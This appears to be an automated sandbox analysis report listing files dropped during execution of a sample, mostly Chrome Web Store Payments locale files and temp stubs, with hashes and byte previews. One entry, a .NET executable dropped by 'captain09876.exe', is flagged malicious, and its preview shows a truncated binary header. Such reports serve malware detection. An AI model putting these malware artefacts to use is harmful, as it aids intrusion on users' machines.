Preview:	...........}ks.G..w...l... ...6ey....DjI.....h...W`7..A.!....\|..AP...q&d..+.+_....#...}..+....L...8...ty#...u^.=q8..jT.B........x_J.OEu.....X.q>.......D..E"..N...~..<....U.I%.I&F.!M.e6.i..x38.^..4.......n.o....6.w..$..e)..H,......R...4/.,[.``...\|~#....v..ZK....t\.^...."..../.....I`.Rf8.....m~0!...a.b..Hn.g~...8T-.....%..`..g!.e....."..c..lM..J.,.y...[B(.e...y2...YW..ku.+z....Z...H..w..aQ$.....Ic...O.Y.....g....mR..U..+.T...80U.z9....g@P....Lo..YumZ....E.. ...]....l.%..'...'.}...\|H/.!.._'.1..j..le....{.#....{=89..._....N.0.B..$+.y.'....3...........^ok.ge%*.hx..g..@..^W<..]..<..........{.....F%...d.T._Z..........(.FCL..P.r.X.S9A`I.3....,.t.3.]......%......I.\.8......Kb...BB....D..."...2..."<..D..\|..+..w.._.y.....m@.Rl./..[9W.u..\...fH.j.F.1L......../N...d.......q....p..lp.@..95$z......^......'.O.d..cxu..<x=8........x1.....>.....u....(I....f$..(v..P.Y...J..gy.V.7_.,-.._A..E:I...0.....r....1X..........R.......Wp.4.@L......P....=0..t.....i.6.+:...E

C:\Users\user\AppData\Local\Temp\7556b83c-5b62-4445-a9a4-ea2ad555bbdd.tmp

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Reputation:	unknown
Preview:	.

C:\Users\user\AppData\Local\Temp\IXP000.TMP\SETUP_~1.EXE

Download File

Process:	C:\Program Files (x86)\Company\NewProduct\captain09876.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	350301568
Entropy (8bit):	0.012174030822623444
Encrypted:	false
SSDEEP:	6144:c/hEO38gBF7W8nmiP30ZBGiC79rzVULmQ:wESOKDeAr
MD5:	CE25658AC9291C713590B834D96406BB
SHA1:	5A45881222B0E35968427EAF3185C9534AD54943
SHA-256:	0DFA582E65CF4E9EA1FD9575518FFF57B71B3F0F850DF643319C611D39A8C2C2
SHA-512:	8F7BEE11566FA8978A0E1716B51BA4E7735E98FC715A9EED0FB3B6E156ABFA46F378035935B5ED8967F98BCB3EF83599208A00225BBF0CB2655306846E3D354C
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......b............................&.... ........@.. ....................................`....................................J.......f............................................................................ ............... ..H............text...,.... ...................... ..`.rsrc...f...........................@..@.reloc..............................@..B........................H...........D.............................................................(b.....(b.....(b.....(b....0...........-.r...p.....r...p.....r...p.....r...p.....r...p.....r...p.....r...p.....r...p.....r...p.....r...p.....r...p.....r...p.....r...p.....r...p.....r...p.....r...p.....r...p.....r$..p.....r2..p.....r...p.....r...p......:%...r...p.....r...p.....r...p.........(c..."..(d......&...(e.....&...(f...*...0..z.......r...p+L+M+N+S+T,=+S.%......sg...+G+L.,P&.oh....1.r...p.o

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_rjskqmso.dtf.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Reputation:	unknown
Preview:	1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_t4pptluq.u2q.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Reputation:	unknown
Preview:	1

C:\Users\user\AppData\Local\Temp\ad03238b-209d-453c-99e7-138ad352fb87.tmp

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	248531
Entropy (8bit):	7.963657412635355
Encrypted:	false
SSDEEP:
MD5:	541F52E24FE1EF9F8E12377A6CCAE0C0
SHA1:	189898BB2DCAE7D5A6057BC2D98B8B450AFAEBB6
SHA-256:	81E3A4D43A73699E1B7781723F56B8717175C536685C5450122B30789464AD82
SHA-512:	D779D78A15C5EFCA51EBD6B96A7CCB6D718741BDF7D9A37F53B2EB4B98AA1A78BC4CFA57D6E763AAB97276C8F9088940AC0476690D4D46023FF4BF52F3326C88
Malicious:	false
Reputation:	unknown
Preview:	Cr24..............0.."0....H.............0...........\7c.<........Fto.8.2'5..qk...%....2...C.F.9.#..e.xQ.......[...L\|....3>/....u.:T.7...(.yM...?V.<?........1.a...O?d.....A.H..'.MpB..T.m..Vn Ip..>k.\|1..n.<Fb..f..Q1.....s..2..{.6....Pp....obM..1.......b1.......(.u^.'z......v.F.W.X4."-eu...b.........\..F!...b...l5....zJ.q.......L].....w[T0.6....E.....r..%Z.vFm.9..5!,.~g5...;.t...']....+A.....u....k...e..&..l.6r[yU...%..f.......N..V.....<+.....l..}.{...z...)y.n..'..).....,.b....5.08K%..O.g..D.S.F5o..<(....>....\f..X..I..2."l...w....7f\|.~.c.4.E.......0..0....H............0.......).'..b.$w\$.q&.]zF_2..;...?.U,...W..L1.2...R..#....W.....c1k.$W..$.J....+M!.Hz.n`U.I)N.\|b.l....{.K@]6.LlP/....](.A..................I...).H....IQ.y.;MG.d..ix..#f.Z$\|..\|.?...0K...t"i..s...Y..%.Ky....0...{.!+.~v.;....J.....Z....).(6..@?v.;~..2..c....[0Y0....H.=.....H.=....B..............r...2..+Y.I...k..bR.j5Sl..8.......H"i.-l..`.Q.{...F0D. .0...\|!..A..L.+.=...kP.!.1..

C:\Users\user\AppData\Local\Temp\d96e067a-c244-4720-8d5e-8733ea766a83.tmp

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT)
Category:	dropped
Size (bytes):	30948
Entropy (8bit):	7.99105089802474
Encrypted:	true
SSDEEP:
MD5:	7F0FCE2F184F63FED8E9929FB106C282
SHA1:	0582EB5BFC7FCCCC1C77A860F00E351E61F5DC67
SHA-256:	7C33F333216849E50AFC9550DA7DA4450D221B837340716ACCEE3766FFD4A62B
SHA-512:	AD1CD5B804C08C4C25BD6F97153D3371156848A83682DF1829B0B113B60ED0B01D67B5CD737CB414C8B825E12C7E0D6B5F9B338F4AF7FC82BE8AAF4CA8E279BA
Malicious:	false
Reputation:	unknown
Preview:	............y..../...D4e.sH.v.{......mv9MR...&..b.`.P."........r.....X...9s.s..w..;...>.}8...O.ep....O.]...$KO.tu...2?Yfi.'ove..T.....(.N7.R..<yr....t..})......>[......."......'7.j......#.n..e1..Fr...........j5xH.~....yvw....y.....vI......IWT..)...\|...\..<=.V.C..}.fF..T.....~.~..:).....i...2./D.}...]..<+3T..Z.Q90.......3..7.e..p.:..-.P..n.}j....U...."...\|Gm...AdQ:...gz%n..:...K.o[...".n...(V..A...U.D.~x.Q..X.tw.F..,.Q...k.9.w.......2....t......XF....E./...Hu.%..].....7.T...X.\$4.~.....`..e\....}.X...`A...J.....k...$IO..OS:...=...R...q......FE.H.)M..WX/........6.._..ry..J..`.q.'....x^..[r..Z.Y:..0...g.y....#.1.'...F7M.6...S....7.To.G.... `#.......-."...^....;..8..{.6VhL?%uU...K....O9.`Y....b.5.,zP.+\..!.1wK.j.P].....jW.!.j...i3.v.<..n.P..g....~.x..z.8...2^..U.f.bt#.+.U..N......!.[.!#.C.A.xy.....p...n.mU,.....=.......h .ME..T/....lT\h,.U..........(.U ...Tf.?Zd8.2.V........../....Oyh.j.._.I.k..u...).3.r.3...j......O....+],...

C:\Users\user\AppData\Local\Temp\scoped_dir2264_1188307806\CRX_INSTALL\_locales\bg\messages.json

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	UTF-8 Unicode text, with CRLF line terminators
Category:	dropped
Size (bytes):	796
Entropy (8bit):	4.864931792423268
Encrypted:	false
SSDEEP:
MD5:	6F8E288A9AD5B1ED8633B430E2B4D4CA
SHA1:	F671D3D4BEFA431D1946D706F4192D44E29B6F08
SHA-256:	A114E2783D0E9B12155017323BA70838F0F82A71C7EE8DC1F115AE36991241F8
SHA-512:	0F87F3F0D115B872288949E59ACD3CD41B1FBC64A622D8FDA6D71FAFC5A900D92ADFBB0E7EB926F2A8759BBAA0896D48728FB719BBF5EF54AC21027328F7700C
Malicious:	false
Reputation:	unknown
Preview:	{.. "app_description": {.. "message": "........ . ... ........ .. Chrome".. },.. "app_name": {.. "message": "........ . ... ........ .. Chrome".. },.. "craw_app_unavailable": {.. "message": "........... .... ...... .. .............".. },.. "craw_connect_to_network": {.. "message": "...., ........ .. . ......".. },.. "iap_unavailable": {.. "message": "........... .... ...... .. .......... ....... .. .........".. },.. "jwt_retrieve_failed": {.. "message": "The transaction could not be completed.".. },.. "please_sign_in": {.. "message": "...., ...... . Chrome.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir2264_1188307806\CRX_INSTALL\_locales\ca\messages.json

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	UTF-8 Unicode text, with CRLF line terminators
Category:	dropped
Size (bytes):	675
Entropy (8bit):	4.536753193530313
Encrypted:	false
SSDEEP:
MD5:	1FDAFC926391BD580B655FBAF46ED260
SHA1:	C95743C3F43B2B099FEBEBC5BD850F0C20E820AC
SHA-256:	C67898B67F9C9209EAFDA6532B62D5789863CFB855998DD6A70E7775316CEC20
SHA-512:	39D95D45C5746DA3BAA7AE6A3344EA17D7A7C3569C2A56959FF119261DA08C747A320FCF701AC72B8DBDBF8BF06FD8B239017A282CDDA444F3826D4EC672CBB4
Malicious:	false
Reputation:	unknown
Preview:	{.. "app_description": {.. "message": "Sistema de pagaments de Chrome Web Store".. },.. "app_name": {.. "message": "Sistema de pagaments de Chrome Web Store".. },.. "craw_app_unavailable": {.. "message": "Ara mateix aquesta aplicaci. no est. disponible.".. },.. "craw_connect_to_network": {.. "message": "Connecteu-vos a una xarxa.".. },.. "iap_unavailable": {.. "message": "La funci. Pagaments a l'aplicaci. no est. disponible actualment.".. },.. "jwt_retrieve_failed": {.. "message": "The transaction could not be completed.".. },.. "please_sign_in": {.. "message": "Inicieu la sessi. a Chrome.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir2264_1188307806\CRX_INSTALL\_locales\cs\messages.json

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	UTF-8 Unicode text, with CRLF line terminators
Category:	dropped
Size (bytes):	641
Entropy (8bit):	4.698608127109193
Encrypted:	false
SSDEEP:
MD5:	76DEC64ED1556180B452A13C83171883
SHA1:	CFB1E56FD587BCDC459C1D9A683B71F9849058F9
SHA-256:	32290D69A90E6BAAC428B10382C99221B12773BB9A184F3B93DFB48A4F6D7A40
SHA-512:	5230A217968D5DC463E2E92D704544311A721E5CEF65C3125CBD8DEB9C0293D3BFB5C820A6011ABF77095FDEE7DAF67D541DC202B0C9CDB0908CBB85D84885CB
Malicious:	false
Reputation:	unknown
Preview:	{.. "app_description": {.. "message": "Platby Internetov.ho obchodu Chrome".. },.. "app_name": {.. "message": "Platby Internetov.ho obchodu Chrome".. },.. "craw_app_unavailable": {.. "message": "Aplikace v sou.asn. dob. nen. dostupn..".. },.. "craw_connect_to_network": {.. "message": "P.ipojte se pros.m k s.ti.".. },.. "iap_unavailable": {.. "message": "Platby v aplikaci aktu.ln. nejsou k dispozici.".. },.. "jwt_retrieve_failed": {.. "message": "The transaction could not be completed.".. },.. "please_sign_in": {.. "message": "P.ihlaste se do Chromu.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir2264_1188307806\CRX_INSTALL\_locales\da\messages.json

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	UTF-8 Unicode text, with CRLF line terminators
Category:	dropped
Size (bytes):	624
Entropy (8bit):	4.5289746475384565
Encrypted:	false
SSDEEP:
MD5:	238B97A36E411E42FF37CEFAF2927ED1
SHA1:	4E47AC90BA24C8F4724D9293FA40CFD4ADA66FE0
SHA-256:	4977D4A053542FF66967FAED6B06585DD70E68E20BFEB533B66FE3287F9655D9
SHA-512:	FD0742D47B5F5AB9AAD9B4C3D57F63CB693E060EECE123A72036C6E92156D099495C7E9E9CC6DC83EEBCDDCC4B4C81FB47E4C9559DA3EBA024780FFF10C53E0A
Malicious:	false
Reputation:	unknown
Preview:	{.. "app_description": {.. "message": "Betalinger i Chrome Webshop".. },.. "app_name": {.. "message": "Betalinger i Chrome Webshop".. },.. "craw_app_unavailable": {.. "message": "Appen er ikke tilg.ngelig i .jeblikket.".. },.. "craw_connect_to_network": {.. "message": "Opret forbindelse til et netv.rk.".. },.. "iap_unavailable": {.. "message": "Betaling i appen er ikke tilg.ngelig i .jeblikket.".. },.. "jwt_retrieve_failed": {.. "message": "The transaction could not be completed.".. },.. "please_sign_in": {.. "message": "Log ind p. Chrome.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir2264_1188307806\CRX_INSTALL\_locales\de\messages.json

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	UTF-8 Unicode text, with CRLF line terminators
Category:	dropped
Size (bytes):	651
Entropy (8bit):	4.583694000020627
Encrypted:	false
SSDEEP:
MD5:	6B3E916E8C1991AA0453CBA00FEDCAAA
SHA1:	D6366D15912E40CA107FD42BFE9579C3336A51F9
SHA-256:	A62FFAB910E31531758EEE48B2CC71A8857BEC3021DEAD50B668CBA3C8667053
SHA-512:	87EA4311B61F29543B13F3E17DFA919D0C320B4FE370CC152E0B1514BCA79B0ABB526DDCF08621D6EBFA48923EE8FB4C667EFB120A72BD9583EEBEE7BFB80552
Malicious:	false
Reputation:	unknown
Preview:	{.. "app_description": {.. "message": "Chrome Web Store-Zahlungen".. },.. "app_name": {.. "message": "Chrome Web Store-Zahlungen".. },.. "craw_app_unavailable": {.. "message": "Die App ist momentan nicht verf.gbar.".. },.. "craw_connect_to_network": {.. "message": "Bitte stellen Sie eine Verbindung zu einem Netzwerk her.".. },.. "iap_unavailable": {.. "message": "In-App-Zahlungen sind momentan nicht m.glich.".. },.. "jwt_retrieve_failed": {.. "message": "The transaction could not be completed.".. },.. "please_sign_in": {.. "message": "Bitte melden Sie sich in Chrome an.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir2264_1188307806\CRX_INSTALL\_locales\el\messages.json

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	UTF-8 Unicode text, with CRLF line terminators
Category:	dropped
Size (bytes):	787
Entropy (8bit):	4.973349962793468
Encrypted:	false
SSDEEP:
MD5:	05C437A322C1148B5F78B2F341339147
SHA1:	AB53003A678E44A170E73711FBD9949833BBF3AA
SHA-256:	A052C32B4FCAC61152EB0ADB2C260FB6A8256AD104AA0013DB93E9798D41A070
SHA-512:	C36CB9202A34356DD06D377E2A088F428D0B8EBE7D2E54F8380485E9D94A0598D7F651C1E7A2FD55BE481D49C02B0812F2BA335E08611EC85EE0BD60784A6B40
Malicious:	false
Reputation:	unknown
Preview:	{.. "app_description": {.. "message": "........ ... Chrome Web Store".. },.. "app_name": {.. "message": "........ ... Chrome Web Store".. },.. "craw_app_unavailable": {.. "message": ". ........ .... .. ..... ... ..... ..........".. },.. "craw_connect_to_network": {.. "message": ".......... .. ... .......".. },.. "iap_unavailable": {.. "message": ".. ........ ..... ......... ... ..... ..... .. ...... ...........".. },.. "jwt_retrieve_failed": {.. "message": "The transaction could not be completed.".. },.. "please_sign_in": {.. "message": ".......... ... Chrome.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir2264_1188307806\CRX_INSTALL\_locales\en\messages.json

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	593
Entropy (8bit):	4.483686991119526
Encrypted:	false
SSDEEP:
MD5:	91F5BC87FD478A007EC68C4E8ADF11AC
SHA1:	D07DD49E4EF3B36DAD7D038B7E999AE850C5BEF6
SHA-256:	92F1246C21DD5FD7266EBFD65798C61E403D01A816CC3CF780DB5C8AA2E3D9C9
SHA-512:	FDC2A29B04E67DDBBD8FB6E8D2443E46BADCB2B2FB3A850BBD6198CDCCC32EE0BD8A9769D929FEEFE84D1015145E6664AB5FEA114DF5A864CF963BF98A65FFD9
Malicious:	false
Reputation:	unknown
Preview:	{.. "app_description": {.. "message": "Chrome Web Store Payments".. },.. "app_name": {.. "message": "Chrome Web Store Payments".. },.. "craw_app_unavailable": {.. "message": "App currently unavailable.".. },.. "craw_connect_to_network": {.. "message": "Please connect to a network.".. },.. "iap_unavailable": {.. "message": "In-App Payments is currently unavailable.".. },.. "jwt_retrieve_failed": {.. "message": "The transaction could not be completed.".. },.. "please_sign_in": {.. "message": "Please sign into Chrome.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir2264_1188307806\CRX_INSTALL\_locales\en_GB\messages.json

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	593
Entropy (8bit):	4.483686991119526
Encrypted:	false
SSDEEP:
MD5:	91F5BC87FD478A007EC68C4E8ADF11AC
SHA1:	D07DD49E4EF3B36DAD7D038B7E999AE850C5BEF6
SHA-256:	92F1246C21DD5FD7266EBFD65798C61E403D01A816CC3CF780DB5C8AA2E3D9C9
SHA-512:	FDC2A29B04E67DDBBD8FB6E8D2443E46BADCB2B2FB3A850BBD6198CDCCC32EE0BD8A9769D929FEEFE84D1015145E6664AB5FEA114DF5A864CF963BF98A65FFD9
Malicious:	false
Reputation:	unknown
Preview:	{.. "app_description": {.. "message": "Chrome Web Store Payments".. },.. "app_name": {.. "message": "Chrome Web Store Payments".. },.. "craw_app_unavailable": {.. "message": "App currently unavailable.".. },.. "craw_connect_to_network": {.. "message": "Please connect to a network.".. },.. "iap_unavailable": {.. "message": "In-App Payments is currently unavailable.".. },.. "jwt_retrieve_failed": {.. "message": "The transaction could not be completed.".. },.. "please_sign_in": {.. "message": "Please sign into Chrome.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir2264_1188307806\CRX_INSTALL\_locales\es\messages.json

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	UTF-8 Unicode text, with CRLF line terminators
Category:	dropped
Size (bytes):	661
Entropy (8bit):	4.450938335136508
Encrypted:	false
SSDEEP:
MD5:	82719BD3999AD66193A9B0BB525F97CD
SHA1:	41194D511F1ACC16C1CA828AC81C18C8C6B47287
SHA-256:	4DB9B2721E625C18B9E05C04B31AF5D9694712F1CAAF6219ABE34BB08E5DB1C7
SHA-512:	D4C49B43427799B6292CEED11CACB1D76F7CE43EBF402B43B638A6EB2B414ED0981E386CB8CDF0B51D1BD9552934FE25B2F6392266BB73D8C9A691F65BCE0128
Malicious:	false
Reputation:	unknown
Preview:	{.. "app_description": {.. "message": "Sistema de pagos de Chrome Web Store".. },.. "app_name": {.. "message": "Sistema de pagos de Chrome Web Store".. },.. "craw_app_unavailable": {.. "message": "Esta aplicaci.n no est. disponible en este momento.".. },.. "craw_connect_to_network": {.. "message": "Con.ctate a una red.".. },.. "iap_unavailable": {.. "message": "Los pagos en la aplicaci.n no est.n disponibles en este momento.".. },.. "jwt_retrieve_failed": {.. "message": "The transaction could not be completed.".. },.. "please_sign_in": {.. "message": "Inicia sesi.n en Chrome.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir2264_1188307806\CRX_INSTALL\_locales\es_419\messages.json

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	UTF-8 Unicode text, with CRLF line terminators
Category:	dropped
Size (bytes):	637
Entropy (8bit):	4.47253983486615
Encrypted:	false
SSDEEP:
MD5:	6B2583D8D1C147E36A69A88009CBEBC7
SHA1:	4D4DEEB4BE6AA0181825F3371A761ABC5B4D5937
SHA-256:	6659BC3705311D7641A73995DCFEA80C7734F2F4EBBC3787B3892A240348324F
SHA-512:	37F0DBFCC1B5A2B8E4C92C49D2D9DEEF25616421350324F57E0149A45A6CCB437F5E3CBE97412C4B5DBBF2593783C7DF71E9C25A851AEAE6E4764C545723FA53
Malicious:	false
Reputation:	unknown
Preview:	{.. "app_description": {.. "message": "Sistema de pagos de Chrome Web Store".. },.. "app_name": {.. "message": "Sistema de pagos de Chrome Web Store".. },.. "craw_app_unavailable": {.. "message": "Esta aplicaci.n no est. disponible en este momento.".. },.. "craw_connect_to_network": {.. "message": "Con.ctate a una red.".. },.. "iap_unavailable": {.. "message": "En este momento, Pagos En-Apps no est. disponible.".. },.. "jwt_retrieve_failed": {.. "message": "The transaction could not be completed.".. },.. "please_sign_in": {.. "message": "Accede a Chrome.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir2264_1188307806\CRX_INSTALL\_locales\et\messages.json

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	UTF-8 Unicode text, with CRLF line terminators
Category:	dropped
Size (bytes):	595
Entropy (8bit):	4.467205425399467
Encrypted:	false
SSDEEP:
MD5:	CFF6CB76EC724B17C1BC920726CB35A7
SHA1:	14ED068251D65A840F00C05409D705259D329FFC
SHA-256:	C85800BF45942FCC7FD6B1DF929C25F9CC2A977A6678966BD03D4B6B69889AFD
SHA-512:	53D7D01BB30C0306DE65A79FD9551D2E8C1F71F4F45F71906B009071CB3E0F231E6A50FDD78773E9B4DE94085BC7B97F829842FA21A89A2080D33458B745C46F
Malicious:	false
Reputation:	unknown
Preview:	{.. "app_description": {.. "message": "Chrome'i veebipoe maksed".. },.. "app_name": {.. "message": "Chrome'i veebipoe maksed".. },.. "craw_app_unavailable": {.. "message": "Rakendus pole praegu saadaval.".. },.. "craw_connect_to_network": {.. "message": "Looge .hendus v.rguga.".. },.. "iap_unavailable": {.. "message": "Rakendusesisesed maksed ei ole praegu saadaval.".. },.. "jwt_retrieve_failed": {.. "message": "The transaction could not be completed.".. },.. "please_sign_in": {.. "message": "Logige Chrome'i sisse.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir2264_1188307806\CRX_INSTALL\_locales\fi\messages.json

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	UTF-8 Unicode text, with CRLF line terminators
Category:	dropped
Size (bytes):	647
Entropy (8bit):	4.595421267152647
Encrypted:	false
SSDEEP:
MD5:	3A01FEE829445C482D1721FF63153D16
SHA1:	F3EAAADDC03F943FC88B30B67F534AA13E3336DD
SHA-256:	0BDE54B20845124113383B6EB81E43A0F05E4EB0C44BEE3C1DFAC4CC5FEC2836
SHA-512:	3B92B6C86D30FD36AA3CEFF8773BA60C3FC5CC19C693540137044C5838A5503895C770C0336A4D0A3DB5E42F3FB36274D8D3F85B9DCA2F3EC0E974FDDB0BEAD8
Malicious:	false
Reputation:	unknown
Preview:	{.. "app_description": {.. "message": "Chrome Web Storen maksut".. },.. "app_name": {.. "message": "Chrome Web Storen maksut".. },.. "craw_app_unavailable": {.. "message": "Sovellus ei ole t.ll. hetkell. k.ytett.viss..".. },.. "craw_connect_to_network": {.. "message": "Muodosta verkkoyhteys.".. },.. "iap_unavailable": {.. "message": "Sovelluksen sis.iset maksut eiv.t ole t.ll. hetkell. k.ytett.viss..".. },.. "jwt_retrieve_failed": {.. "message": "The transaction could not be completed.".. },.. "please_sign_in": {.. "message": "Kirjaudu sis..n Chromeen.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir2264_1188307806\CRX_INSTALL\_locales\fil\messages.json

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	658
Entropy (8bit):	4.5231229502550745
Encrypted:	false
SSDEEP:
MD5:	57AF5B654270A945BDA8053A83353A06
SHA1:	EEEF7A4F869F97CF471A05D345E74F982D15E167
SHA-256:	EC002ED92359F67818B49455DFC579E140368E6A004080AF022FD4F57F6B03F2
SHA-512:	5F0AE839FCF3F4EA48FF41A76655AE0F3821564AFD5D42FBB9FBB9A38E8D8F7BB5E9B6F71064588CD441261F644095A44A755C134CE546D506D9A21E488BAF52
Malicious:	false
Reputation:	unknown
Preview:	{.. "app_description": {.. "message": "Mga Pagbabayad sa Chrome Web Store".. },.. "app_name": {.. "message": "Mga Pagbabayad sa Chrome Web Store".. },.. "craw_app_unavailable": {.. "message": "Kasalukuyang hindi available ang app.".. },.. "craw_connect_to_network": {.. "message": "Mangyaring kumonekta sa isang network.".. },.. "iap_unavailable": {.. "message": "Kasalukuyang hindi available ang Mga Pagbabayad na In-App.".. },.. "jwt_retrieve_failed": {.. "message": "The transaction could not be completed.".. },.. "please_sign_in": {.. "message": "Mangyaring mag-sign in sa Chrome.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir2264_1188307806\CRX_INSTALL\_locales\fr\messages.json

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	UTF-8 Unicode text, with CRLF line terminators
Category:	dropped
Size (bytes):	677
Entropy (8bit):	4.552569602149629
Encrypted:	false
SSDEEP:
MD5:	8D11C90F44A6585B57B933AB38D1FFF8
SHA1:	3F9D44EA8807069A32AACA2AAAD02FD892E6CC90
SHA-256:	599491F8C52B945C16C441ADF45BFD45AFAE046DA07757D97C56AF4DE75ED3B5
SHA-512:	D7EF7F5AD7EF1A1595825D79B69E2B1E988AD3CF1F3881496FCCD30F241E4E9C6E457F9F5D0F855DE3536DB7A40C3E1C55946B50D3F556F4A35285066A0CD6F7
Malicious:	false
Reputation:	unknown
Preview:	{.. "app_description": {.. "message": "Paiements via le Chrome.Web.Store".. },.. "app_name": {.. "message": "Paiements via le Chrome.Web.Store".. },.. "craw_app_unavailable": {.. "message": "Application indisponible pour le moment.".. },.. "craw_connect_to_network": {.. "message": "Veuillez vous connecter . un r.seau.".. },.. "iap_unavailable": {.. "message": "Les paiements via l'application ne sont pas disponibles pour le moment.".. },.. "jwt_retrieve_failed": {.. "message": "The transaction could not be completed.".. },.. "please_sign_in": {.. "message": "Veuillez vous connecter . Chrome.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir2264_1188307806\CRX_INSTALL\_locales\hi\messages.json

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	UTF-8 Unicode text, with CRLF line terminators
Category:	dropped
Size (bytes):	835
Entropy (8bit):	4.791154467711985
Encrypted:	false
SSDEEP:
MD5:	E376D757C8FD66AC70A7D2D49760B94E
SHA1:	1525C5B1312D409604F097768503298EC440CC4D
SHA-256:	8106D98C4F8DA16DB698444409558E29CC96735E188BFA303C333A5D99231C1D
SHA-512:	673F3F259AF2946E4F49BBED14A2A70D44BF9FDA9D7A71DC9172BA9B7B3C7F7062B16D29682B638D485B0520ED6F99E7A735F28C7C719B539559005B69FA7555
Malicious:	false
Reputation:	unknown
Preview:	{.. "app_description": {.. "message": "Chrome ... ..... ......".. },.. "app_name": {.. "message": "Chrome ... ..... ......".. },.. "craw_app_unavailable": {.. "message": "......... .. ... ...... .... ...".. },.. "craw_connect_to_network": {.. "message": "..... ....... .. ...... .....".. },.. "iap_unavailable": {.. "message": "..-.. ...... ... ...... .... ...".. },.. "jwt_retrieve_failed": {.. "message": "The transaction could not be completed.".. },.. "please_sign_in": {.. "message": "..... Chrome ... .... .. .....".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir2264_1188307806\CRX_INSTALL\_locales\hr\messages.json

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	UTF-8 Unicode text, with CRLF line terminators
Category:	dropped
Size (bytes):	618
Entropy (8bit):	4.56999230891419
Encrypted:	false
SSDEEP:
MD5:	8185D0490C86363602A137F9A261CC50
SHA1:	5BD933B874441CEACB9201CCC941FF67BAED6DC0
SHA-256:	A2B2EC359A9DD9DCCCE02859CE1E738BD30FAA4A05F1DC522893FFDF722BBC15
SHA-512:	D7629978FC031EA5F716F9C1065FB2FEAB48C15F10CD68830DC966FA1002C03DDC7ACDE314C7D075F9F3A0A68552A6ACBCCDEE24CF20B6C3DD1BCE6562D0396E
Malicious:	false
Reputation:	unknown
